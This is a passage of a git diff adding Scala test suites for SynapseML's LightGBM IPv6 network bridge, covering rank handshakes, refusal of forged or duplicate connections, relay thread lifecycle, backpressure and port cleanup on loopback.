higherRankLinked = startAcceptingPeer(higherRankListener, receivedRank) + val lowerRankLinked = startDialingPeer(ipv6Loopback, advertisedPort, 0) + + val machineList = s"[$ipv6Loopback]:$lowerRankPort,[$ipv6Loopback]:$advertisedPort," + + s"[$ipv6Loopback]:${higherRankListener.getLocalPort}" + val topology = NetworkTopologyInfo(machineList, Array(0), advertisedPort).withAdvertisedHost(ipv6Loopback) + await(onNativeThread("lightgbm-ipv6-rank") { + withNativeNetwork(topology, 3) { + assert(topology.hasNetworkBridge, "An IPv6 topology has to be bridged onto the native transport") + assert(lowerRankLinked.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The lower rank never linked to this worker over IPv6") + assert(higherRankLinked.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "This worker never linked to the higher rank over IPv6") + assert(receivedRank.get() == 1, + s"The higher rank received rank ${receivedRank.get()} instead of the bridged worker's rank 1") + } + }) + } + + test("The native listener stops accepting once the bridge has claimed its link slots") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + // Rank 1 of 2, so the native listener has exactly one slot, which the bridge claims from loopback. + val advertisedPort = freePort(ipv6Loopback) + val machineList = s"[$ipv6Loopback]:${freePort(ipv6Loopback)},[$ipv6Loopback]:$advertisedPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val bridged = bridge.bridgedNetwork + val lowerRankLinked = startDialingPeer(ipv6Loopback, advertisedPort, 0) + + await(onNativeThread("lightgbm-native-listener") { + val result = nativeNetworkInit(bridged.machineList, bridged.localListenPort, bridged.machineCount) + try { + assert(result == 0, s"Native init failed: ${lightgbmlib.LGBM_GetLastError()}") + assert(lowerRankLinked.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The lower rank never linked through the bridge") + } finally { + if (result == 0) lightgbmlib.LGBM_NetworkFree() + } + }) + + // The native library closes its listener as soon as its slots are filled, and only the bridge + // ever filled them, so nothing external can still reach that port. + val probe = new Socket() + val refused = try { + probe.connect(new InetSocketAddress(InetAddress.getByName(ipv4Loopback), bridged.localListenPort), + connectAttemptTimeoutMillis) + false + } catch { + case _: java.io.IOException => true + } finally { + Try(probe.close()) + } + assert(refused, s"The native listener on port ${bridged.localListenPort} is still accepting connections") + } + + test("Two LightGBM workers train one distributed model over IPv6") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val firstPort = freePort(ipv6Loopback) + val secondPort = freePort(ipv6Loopback) + val machineList = s"[$ipv6Loopback]:$firstPort,[$ipv6Loopback]:$secondPort" + + def worker(rank: Int, advertisedPort: Int): () => String = { + val topology = NetworkTopologyInfo(machineList, Array(rank), advertisedPort).withAdvertisedHost(ipv6Loopback) + onNativeThread(s"lightgbm-ipv6-worker-$rank") { + withNativeNetwork(topology, 2) { + assert(topology.hasNetworkBridge, s"Worker $rank did not bridge its IPv6 topology") + trainShard(rank, 2) + } + } + } + + // Both workers have to be running before either can link, exactly as two Spark tasks would be. + val pendingFirst = worker(0, firstPort) + val pendingSecond = worker(1, secondPort) + val firstModel = await(pendingFirst) + val secondModel = await(pendingSecond) + + assert(firstModel.contains("Tree=0"), "The distributed training produced no trees") + assert(firstModel.contains("split_feature="), "The distributed training produced only empty trees") + assert(firstModel == secondModel, + "Data parallel LightGBM builds the same model on every rank, so the two IPv6 workers disagreeing " + + "means their allreduce traffic did not cross the bridge") + + // A model built from only one shard cannot see the peer's labels, so its leaves sit far lower. + val localModel = await(onNativeThread("lightgbm-single-machine")(trainShard(0, 1))) + val distributedMean = leafValues(firstModel).sum / leafValues(firstModel).length + val localMean = leafValues(localModel).sum / leafValues(localModel).length + assert(math.abs(distributedMean - localMean) > 1.0, + s"The distributed leaves ($distributedMean) match a single machine model ($localMean), so the " + + "peer's data never reached this worker") + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeLifecycleSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeLifecycleSuite.scala new file mode 100644 index 00000000000..550a27e576f --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeLifecycleSuite.scala @@ -0,0 +1,608 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMNetworkBridge, LightGBMNetworkRelay, NetworkManager, + NetworkTopologyInfo, WorkerEndpoint} +import org.scalatest.BeforeAndAfterEach +import org.scalatest.funsuite.AnyFunSuite +import org.slf4j.LoggerFactory + +import java.io.{DataInputStream, IOException} +import java.net.{InetAddress, InetSocketAddress, ServerSocket, Socket} +import java.nio.channels.ServerSocketChannel +import java.nio.{ByteBuffer, ByteOrder} +import java.util.Random +import java.util.concurrent.atomic.{AtomicInteger, AtomicLong} +import java.util.concurrent.{Callable, ConcurrentLinkedQueue, Executors, ThreadFactory, TimeUnit} +import scala.annotation.tailrec +import scala.collection.JavaConverters._ +import scala.util.Try + +/** Covers what the IPv6 bridge does over the life of a task: admission, concurrency, and cleanup. */ +class LightGBMNetworkBridgeLifecycleSuite extends AnyFunSuite with BeforeAndAfterEach { + + private val log = LoggerFactory.getLogger(classOf[LightGBMNetworkBridgeLifecycleSuite]) + private val ipv6Loopback = "::1" + private val ipv4Loopback = LightGBMNetworkBridge.LoopbackHost + private val socketTimeoutMillis = 30000 + private val smallPayloadSize = 64 * 1024 + private val concurrentPeers = 8 + private val sequentialPeers = 8 + private val largeTopologySize = 33 + private val stallWriteBytes = 64L * 1024 * 1024 + private val stallObservationMillis = 2000L + private val maxBufferedBytes = 8L * 1024 * 1024 + private val threadShutdownMillis = 10000L + private val unsolicitedConnections = 6 + private val shortHandshakeMillis = 500L + private val closeables = new ConcurrentLinkedQueue[AutoCloseable]() + private val pool = Executors.newCachedThreadPool(new ThreadFactory { + override def newThread(runnable: Runnable): Thread = { + val thread = new Thread(runnable, "lightgbm-network-bridge-lifecycle-test") + thread.setDaemon(true) + thread + } + }) + + override def afterEach(): Unit = { + closeables.asScala.foreach(resource => Try(resource.close())) + closeables.clear() + super.afterEach() + } + + private def register[T <: AutoCloseable](resource: T): T = { + closeables.add(resource) + resource + } + + private def ipv6LoopbackAvailable: Boolean = Try { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + true + } finally { + probe.close() + } + }.getOrElse(false) + + private def freePort(host: String): Int = { + val probe = new ServerSocket() + try { + probe.bind(new InetSocketAddress(InetAddress.getByName(host), 0)) + probe.getLocalPort + } finally { + probe.close() + } + } + + private def listenOnLoopback(port: Int): ServerSocket = { + val listener = new ServerSocket() + listener.bind(new InetSocketAddress(InetAddress.getByName(ipv4Loopback), port)) + listener.setSoTimeout(socketTimeoutMillis) + register(listener) + } + + private def connect(host: String, port: Int): Socket = { + val socket = new Socket() + socket.connect(new InetSocketAddress(InetAddress.getByName(host), port), socketTimeoutMillis) + socket.setSoTimeout(socketTimeoutMillis) + register(socket) + } + + private def dialAsRank(port: Int, rank: Int): Socket = { + val socket = connect(ipv6Loopback, port) + socket.getOutputStream.write(LightGBMNetworkRelay.rankBuffer(rank).array()) + socket.getOutputStream.flush() + socket + } + + private def acceptNativeSlot(listener: ServerSocket): (Int, Socket) = { + val socket = register(listener.accept()) + val bytes = new Array[Byte](LightGBMNetworkRelay.RankBytes) + new DataInputStream(socket.getInputStream).readFully(bytes) + (ByteBuffer.wrap(bytes).order(ByteOrder.nativeOrder()).getInt, socket) + } + + /** A machine list where this task is the last entry, so every other machine is a lower rank. */ + private def machineListWithSelfLast(peerCount: Int, advertisedPort: Int): String = + ((1 to peerCount).map(_ => s"[$ipv6Loopback]:${freePort(ipv6Loopback)}") :+ + s"[$ipv6Loopback]:$advertisedPort").mkString(",") + + private def twoMachineList(selfPort: Int, peerPort: Int): String = + s"[$ipv6Loopback]:$selfPort,[$ipv6Loopback]:$peerPort" + + private def payload(seed: Int, size: Int): Array[Byte] = { + val bytes = new Array[Byte](size) + new Random(seed.toLong).nextBytes(bytes) + bytes + } + + private def assertPayloadCrosses(sender: Socket, receiver: Socket, bytes: Array[Byte]): Unit = { + val received = pool.submit(new Callable[Array[Byte]] { + override def call(): Array[Byte] = { + val buffer = new Array[Byte](bytes.length) + new DataInputStream(receiver.getInputStream).readFully(buffer) + buffer + } + }) + sender.getOutputStream.write(bytes) + sender.getOutputStream.flush() + assert(received.get(socketTimeoutMillis.toLong, TimeUnit.MILLISECONDS).sameElements(bytes), + "A relayed payload did not arrive intact") + } + + private def assertEndOfStream(socket: Socket, clue: String): Unit = { + val ended = try { + socket.setSoTimeout(socketTimeoutMillis) + socket.getInputStream.read() == -1 + } catch { + case _: IOException => true + } + assert(ended, clue) + } + + private def relayThreads(bridge: LightGBMNetworkBridge): Seq[Thread] = + Thread.getAllStackTraces.keySet.asScala + .filter(thread => thread.isAlive && thread.getName.startsWith(bridge.threadNamePrefix)).toSeq + + private def awaitNoRelayThreads(bridge: LightGBMNetworkBridge): Unit = { + val deadline = System.currentTimeMillis() + threadShutdownMillis + + @tailrec + def poll(): Seq[Thread] = { + val alive = relayThreads(bridge) + if (alive.isEmpty || System.currentTimeMillis() > deadline) { + alive + } else { + Thread.sleep(50L) + poll() + } + } + + assert(poll().isEmpty, s"Relay threads of ${bridge.threadNamePrefix} outlived the bridge") + } + + private def awaitLinkCount(bridge: LightGBMNetworkBridge, expected: Int, clue: String): Unit = { + val deadline = System.currentTimeMillis() + threadShutdownMillis + + @tailrec + def poll(): Int = { + val count = bridge.relayLinkCount + if (count == expected || System.currentTimeMillis() > deadline) count else { + Thread.sleep(25L) + poll() + } + } + + assert(poll() == expected, clue) + } + + private def assertPortIsFree(port: Int): Unit = { + val rebound = new ServerSocket() + try { + rebound.bind(new InetSocketAddress(port)) + assert(rebound.isBound) + } finally { + rebound.close() + } + } + + test("A connection that never sends its rank is dropped instead of stalling the native listener") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log, handshakeTimeoutMillis = shortHandshakeMillis)) + listenOnLoopback(bridge.bridgedNetwork.localListenPort) + + // The native accept loop has no timeout of its own, so a silent caller has to be dropped here. + val silent = connect(ipv6Loopback, advertisedPort) + assertEndOfStream(silent, "A connection that never sent a rank was left open") + awaitLinkCount(bridge, 0, "A dropped handshake still holds a link slot") + } + + test("A connection claiming a rank the topology does not have is refused") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + // Rank 1 of 2, so rank 0 is the only rank allowed to open a link here. + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log)) + listenOnLoopback(bridge.bridgedNetwork.localListenPort) + + Seq(1, 7, -1).foreach { forged => + val stray = dialAsRank(advertisedPort, forged) + assertEndOfStream(stray, s"A connection claiming rank $forged was relayed to the native library") + } + awaitLinkCount(bridge, 0, "A refused handshake still holds a link slot") + } + + test("A second connection claiming an already linked rank is refused") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val (claimedRank, nativeSide) = acceptNativeSlot(nativeListener) + assert(claimedRank == 0) + + val first = dialAsRank(advertisedPort, 0) + assertPayloadCrosses(first, nativeSide, payload(1, 64)) + + val impostor = dialAsRank(advertisedPort, 0) + assertEndOfStream(impostor, "A duplicate rank was allowed to take over an established link") + assertPayloadCrosses(first, nativeSide, payload(2, 64)) + } + + test("A mixed IPv4 and IPv6 topology relays only its IPv6 peer and still accepts both families") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val ipv4PeerPort = freePort(ipv4Loopback) + val ipv6PeerPort = freePort(ipv6Loopback) + val machineList = s"$ipv4Loopback:$ipv4PeerPort,[$ipv6Loopback]:$ipv6PeerPort,[$ipv6Loopback]:$advertisedPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + val bridged = bridge.bridgedNetwork + val entries = bridged.machineList.split(",").toSeq + + // The IPv4 peer keeps its own entry, so the native library dials it with no relay in between. + assert(entries(1) == s"$ipv4Loopback:$ipv4PeerPort") + assert(WorkerEndpoint.parse(entries(2)).host == ipv4Loopback) + + val nativeListener = listenOnLoopback(bridged.localListenPort) + val slots = (1 to 2).map(_ => acceptNativeSlot(nativeListener)).toMap + assert(slots.keySet == Set(0, 1)) + + // The advertised port is a dual stack listener, so peers of either family land on the native side. + val ipv4Peer = connect(ipv4Loopback, advertisedPort) + ipv4Peer.getOutputStream.write(LightGBMNetworkRelay.rankBuffer(0).array()) + ipv4Peer.getOutputStream.flush() + assertPayloadCrosses(ipv4Peer, slots(0), payload(1, smallPayloadSize)) + + val ipv6Peer = dialAsRank(advertisedPort, 1) + assertPayloadCrosses(ipv6Peer, slots(1), payload(2, smallPayloadSize)) + assertPayloadCrosses(slots(1), ipv6Peer, payload(3, smallPayloadSize)) + } + + test("Sequential links from every lower rank are served without accumulating threads") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(sequentialPeers, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val slots = (1 to sequentialPeers).map(_ => acceptNativeSlot(nativeListener)).toMap + val threadsAfterStart = relayThreads(bridge).size + + (0 until sequentialPeers).foreach { rank => + val peer = dialAsRank(advertisedPort, rank) + assertPayloadCrosses(peer, slots(rank), payload(rank, 4096)) + peer.close() + slots(rank).close() + } + + assert(relayThreads(bridge).size == threadsAfterStart, + s"The relay thread count changed while serving $sequentialPeers links") + } + + test("Concurrent relayed links keep their streams separate") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(concurrentPeers, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val slots = (1 to concurrentPeers).map(_ => acceptNativeSlot(nativeListener)).toMap + + val peers = (0 until concurrentPeers).map(rank => rank -> dialAsRank(advertisedPort, rank)) + val transfers = peers.map { case (rank, peer) => + pool.submit(new Runnable { + override def run(): Unit = assertPayloadCrosses(peer, slots(rank), payload(rank, smallPayloadSize)) + }) + } + transfers.foreach(_.get(socketTimeoutMillis.toLong, TimeUnit.MILLISECONDS)) + } + + test("One relay thread serves a bridge whatever the machine count is") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val smallPort = freePort(ipv6Loopback) + val small = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, smallPort), + ipv6Loopback, smallPort, log)) + val largePort = freePort(ipv6Loopback) + val large = register(LightGBMNetworkBridge.open(machineListWithSelfLast(largeTopologySize - 1, largePort), + ipv6Loopback, largePort, log)) + val nativeListener = listenOnLoopback(large.bridgedNetwork.localListenPort) + val slots = (1 until largeTopologySize).map(_ => acceptNativeSlot(nativeListener)).toMap + + val peers = (0 until largeTopologySize - 1).map(rank => rank -> dialAsRank(largePort, rank)) + peers.foreach { case (rank, peer) => assertPayloadCrosses(peer, slots(rank), payload(rank, 1024)) } + + assert(relayThreads(small).size == 1, "A two machine bridge should run exactly one relay thread") + assert(relayThreads(large).size == 1, + s"A $largeTopologySize machine bridge with ${peers.size} live links should still run one relay thread") + } + + test("An abrupt failure on one relay direction closes the other one too") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val (_, nativeSide) = acceptNativeSlot(nativeListener) + val peer = dialAsRank(advertisedPort, 0) + assertPayloadCrosses(peer, nativeSide, payload(1, 64)) + awaitLinkCount(bridge, 1, "The established link was not counted") + + // A reset, which is what a killed executor or a dropped route looks like to the other side. + nativeSide.setSoLinger(true, 0) + nativeSide.close() + + assertEndOfStream(peer, "The peer was left waiting on a link whose other half had failed") + awaitLinkCount(bridge, 0, "An aborted link never released its slot") + } + + test("A stalled reader stops the sender instead of buffering inside the bridge") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val (_, nativeSide) = acceptNativeSlot(nativeListener) // deliberately never read from again + val peer = dialAsRank(advertisedPort, 0) + + val accepted = new AtomicLong(0) + pool.submit(new Runnable { + override def run(): Unit = { + val chunk = new Array[Byte](64 * 1024) + + @tailrec + def writeChunk(): Unit = { + if (accepted.get() < stallWriteBytes) { + peer.getOutputStream.write(chunk) + accepted.addAndGet(chunk.length.toLong) + writeChunk() + } + } + + Try(writeChunk()) + } + }) + Thread.sleep(stallObservationMillis) + + val buffered = accepted.get() + assert(buffered < maxBufferedBytes, + s"The bridge absorbed $buffered bytes for a reader that never read, so backpressure is not reaching the peer") + assert(buffered > 0, "The relay never forwarded anything to the stalled reader") + assert(nativeSide.isConnected) + } + + test("Closing the bridge ends its relay thread, which is a daemon") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + acceptNativeSlot(nativeListener) + val peer = dialAsRank(advertisedPort, 0) + + val running = relayThreads(bridge) + assert(running.size == 1, "The bridge should run exactly one relay thread") + assert(running.forall(_.isDaemon), "A relay thread would keep the executor JVM alive after training") + + bridge.close() + awaitNoRelayThreads(bridge) + assertPortIsFree(advertisedPort) + Try(peer.close()) + } + + test("Cleanup after a cancelled task closes the bridge and preserves the interrupt") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val topology = NetworkTopologyInfo(twoMachineList(advertisedPort, freePort(ipv6Loopback)), + Array(0), advertisedPort).withAdvertisedHost(ipv6Loopback) + NetworkManager.initNativeNetwork(topology, 2, log, (_, _, _) => ()) + assert(topology.hasNetworkBridge) + + // Spark cancels a task by interrupting its thread, and cleanup still has to finish. + Thread.currentThread().interrupt() + try { + topology.releaseNetworkResources() + assert(Thread.currentThread().isInterrupted, + "Bridge cleanup swallowed the interrupt that tells Spark the task was cancelled") + } finally { + Thread.interrupted() + } + assert(!topology.hasNetworkBridge) + assertPortIsFree(advertisedPort) + } + + test("A failed native init closes the bridge so the advertised port is free for the retry") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val topology = NetworkTopologyInfo(twoMachineList(advertisedPort, freePort(ipv6Loopback)), + Array(0), advertisedPort).withAdvertisedHost(ipv6Loopback) + + val failure = intercept[RuntimeException] { + NetworkManager.initNativeNetwork(topology, 2, log, + (_, _, _) => throw new RuntimeException("native init failed")) + } + + assert(failure.getMessage.contains("native init failed")) + assert(!topology.hasNetworkBridge, "A bridge outlived the native failure it was opened for") + assertPortIsFree(advertisedPort) + val reservation = NetworkManager.reserveExactPort(advertisedPort, log) + try { + assert(reservation.getLocalPort == advertisedPort) + } finally { + reservation.close() + } + } + + test("The native init retry rebinds the advertised port and rebuilds the bridge on every attempt") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val topology = NetworkTopologyInfo(twoMachineList(advertisedPort, freePort(ipv6Loopback)), + Array(0), advertisedPort).withAdvertisedHost(ipv6Loopback) + val attempts = new AtomicInteger(0) + val nativePorts = new ConcurrentLinkedQueue[Int]() + val machineLists = new ConcurrentLinkedQueue[String]() + + NetworkManager.initLightGBMNetworkWithRetry( + topology, + log, + retry = 2, + delay = 1L, + networkInit = () => NetworkManager.initNativeNetwork(topology, 2, log, (machines, port, _) => { + machineLists.add(machines) + nativePorts.add(port) + if (attempts.incrementAndGet() < 3) throw new RuntimeException("native init failed") + }), + reservePort = port => NetworkManager.reserveExactPort(port, log), + sleep = _ => ()) + + assert(attempts.get() == 3, "The retry did not reach the attempt that succeeds") + assert(machineLists.asScala.forall(_.startsWith(s"${LightGBMNetworkBridge.RankPrefix}0,")), + "Every attempt has to pin the rank for the native library") + assert(nativePorts.asScala.forall(_ != advertisedPort), + "The native listener must never be given the port the bridge owns") + assert(topology.hasNetworkBridge, "The successful attempt did not keep its bridge") + + topology.releaseNetworkResources() + assertPortIsFree(advertisedPort) + } + + /** A connect that fails the way an address with no route does: synchronously, on the caller. */ + private def failingConnect(failuresPerAddress: Int, + matches: InetSocketAddress => Boolean, + attempts: AtomicInteger): LightGBMNetworkRelay.ConnectAttempt = + (channel, address) => { + if (matches(address) && attempts.incrementAndGet() <= failuresPerAddress) { + throw new java.net.SocketException("Network is unreachable") + } + LightGBMNetworkRelay.DefaultConnect(channel, address) + } + + private def isLoopbackAddress(address: InetSocketAddress): Boolean = + address.getAddress.isLoopbackAddress + + test("A dial that fails synchronously is retried on the timer until it connects") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val attempts = new AtomicInteger(0) + // The native link slot is claimed over loopback, so this fails that dial three times first. + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log, connectAttempt = failingConnect(3, isLoopbackAddress, attempts))) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + + val (claimedRank, nativeSide) = acceptNativeSlot(nativeListener) + assert(claimedRank == 0, "The retried dial did not claim the slot for the lower rank") + assert(attempts.get() > 3, "The connect hook was not exercised") + assert(bridge.terminalFailure.isEmpty, "A retried failure was recorded as terminal") + + val peer = dialAsRank(advertisedPort, 0) + assertPayloadCrosses(peer, nativeSide, payload(1, smallPayloadSize)) + } + + test("A peer that can never be reached releases its slot, keeps the listener, and is recorded") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val peerPort = freePort(ipv6Loopback) + val advertisedPort = freePort(ipv6Loopback) + val attempts = new AtomicInteger(0) + // Every dial to the peer fails synchronously, which is what ENETUNREACH looks like. + val bridge = register(LightGBMNetworkBridge.open( + s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:$peerPort", ipv6Loopback, advertisedPort, log, + connectTimeoutMillis = 300L, + connectAttempt = failingConnect(Int.MaxValue, address => address.getPort == peerPort, attempts))) + val relayPort = WorkerEndpoint.parse(bridge.bridgedNetwork.machineList.split(",")(2)).port + + val nativeSide = connect(ipv4Loopback, relayPort) + assertEndOfStream(nativeSide, "The native link was left open although its peer was unreachable") + awaitLinkCount(bridge, 0, "An unreachable peer never released its link slot") + assert(attempts.get() > 1, "The dial was not retried before giving up") + + // The listener has to survive the failure of the connection it accepted. + val second = connect(ipv4Loopback, relayPort) + assertEndOfStream(second, "The outbound listener stopped serving after a failed dial") + awaitLinkCount(bridge, 0, "The second attempt never released its link slot") + assert(bridge.terminalFailure.isDefined, "An unreachable peer was not recorded as a terminal failure") + } + + test("A terminal relay failure fails the native init path instead of leaving the task waiting") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val peerPort = freePort(ipv6Loopback) + val advertisedPort = freePort(ipv6Loopback) + val attempts = new AtomicInteger(0) + val bridge = register(LightGBMNetworkBridge.open( + s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:$peerPort", ipv6Loopback, advertisedPort, log, + connectTimeoutMillis = 300L, + connectAttempt = failingConnect(Int.MaxValue, address => address.getPort == peerPort, attempts))) + val relayPort = WorkerEndpoint.parse(bridge.bridgedNetwork.machineList.split(",")(2)).port + val nativeSide = connect(ipv4Loopback, relayPort) + assertEndOfStream(nativeSide, "The native link was left open although its peer was unreachable") + + val failure = intercept[Exception](NetworkManager.failIfBridgeIsBroken(bridge)) + assert(failure.getMessage.contains("network bridge for this task failed")) + assert(failure.getMessage.contains("could not reach")) + } + + test("A peer that disconnects mid handshake leaves the advertised listener serving") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + val advertisedPort = freePort(ipv6Loopback) + val bridge = register(LightGBMNetworkBridge.open(machineListWithSelfLast(1, advertisedPort), + ipv6Loopback, advertisedPort, log)) + val nativeListener = listenOnLoopback(bridge.bridgedNetwork.localListenPort) + val (_, nativeSide) = acceptNativeSlot(nativeListener) + + // A half sent rank followed by a reset, which is what a killed peer looks like. + val aborted = connect(ipv6Loopback, advertisedPort) + aborted.getOutputStream.write(Array[Byte](0, 0)) + aborted.getOutputStream.flush() + aborted.setSoLinger(true, 0) + aborted.close() + awaitLinkCount(bridge, 0, "An aborted handshake never released its link slot") + + val peer = dialAsRank(advertisedPort, 0) + assertPayloadCrosses(peer, nativeSide, payload(2, smallPayloadSize)) + } + + test("Unsolicited connections to the lowest rank never consume the links its peers need") { + assume(ipv6LoopbackAvailable, "IPv6 loopback is not available on this machine") + // Rank 0 is the only rank no machine opens a link to, so every inbound connection is unsolicited. + val advertisedPort = freePort(ipv6Loopback) + val peerListener = ServerSocketChannel.open() + peerListener.bind(new InetSocketAddress(InetAddress.getByName(ipv6Loopback), 0)) + register(peerListener) + val peerPort = peerListener.socket().getLocalPort + val machineList = s"[$ipv6Loopback]:$advertisedPort,[$ipv6Loopback]:$peerPort" + val bridge = register(LightGBMNetworkBridge.open(machineList, ipv6Loopback, advertisedPort, log)) + assert(bridge.bridgedNetwork.rank == 0) + + // More than the two machine cap allows, so a slot leaked per refusal would exhaust it. + (1 to unsolicitedConnections).foreach { attempt => + val stray = connect(ipv6Loopback, advertisedPort) + assertEndOfStream(stray, s"Unsolicited connection $attempt was not refused") + } + awaitLinkCount(bridge, 0, "Refusing an unsolicited connection consumed a link slot") + + // The native library can still open its own outbound link, which draws on the same cap. + val relayPort = WorkerEndpoint.parse(bridge.bridgedNetwork.machineList.split(",")(2)).port + val nativeSide = connect(ipv4Loopback, relayPort) + val peerSide = register(peerListener.accept().socket()) + peerSide.setSoTimeout(socketTimeoutMillis) + assertPayloadCrosses(nativeSide, peerSide, payload(7, smallPayloadSize)) + awaitLinkCount(bridge, 1, "The native outbound link was not admitted after the refusals") + } + + test("NetworkTopologyInfo keeps the three field shape callers and serialized forms depend on") { + val partitions = Array(0, 1) + val topology = NetworkTopologyInfo("10.0.0.4:12400", partitions, 12400) + assert(topology.productArity == 3) + assert(NetworkTopologyInfo.unapply(topology).map { case (machines, ids, port) => + (machines, ids.toSeq, port) + }.contains(("10.0.0.4:12400", Seq(0, 1), 12400))) + assert(topology.copy(localListenPort = 12401).localListenPort == 12401) + + // The advertised host is task local state, so it changes neither the shape nor equality. + val withHost = topology.withAdvertisedHost("2001:db8::1") + assert(withHost.taskHost == "2001:db8::1") + assert(withHost == NetworkTopologyInfo("10.0.0.4:12400", partitions, 12400).withAdvertisedHost("other")) + assert(NetworkTopologyInfo("10.0.0.4:12400", partitions, 12400).taskHost.isEmpty) + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeSuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeSuite.scala new file mode 100644 index 00000000000..2bc020292cd --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeSuite.scala @@ -0,0 +1,361 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMNetworkBridge, LightGBMNetworkRelay, WorkerEndpoint} +import org.scalatest.BeforeAndAfterEach +import org.scalatest.funsuite.AnyFunSuite +import org.slf4j.LoggerFactory + +import java.io.{DataInputStream, IOException} +import java.net.{InetAddress, InetSocketAddress, NetworkInterface, ServerSocket, Socket} +import java.nio.{ByteBuffer, ByteOrder} +import java.util.Random +import java.util.concurrent.{Callable, ConcurrentLinkedQueue, Executors, ThreadFactory, TimeUnit} +import scala.collection.JavaConverters._ +import scala.util.Try + +/** Covers the IPv6 transport bridge that carries the LightGBM traffic the native library cannot. */ +class LightGBMNetworkBridgeSuite extends AnyFunSuite with BeforeAndAfterEach { + + private val log = LoggerFactory.getLogger(classOf[LightGBMNetworkBridgeSuite]) + private val socketTimeoutMillis = 30000 + private val ipv6Loopback = "::1" + private val payloadSize = 1 << 20 + private val closeables = new ConcurrentLinkedQueue[AutoCloseable]() + private val pool = Executors.newCachedThreadPool(new ThreadFactory { + override def newThread(runnable: Runnable): Thread = { + val thread = new Thread(runnable, "lightgbm-network-bridge-test") + thread.setDaemon(true) 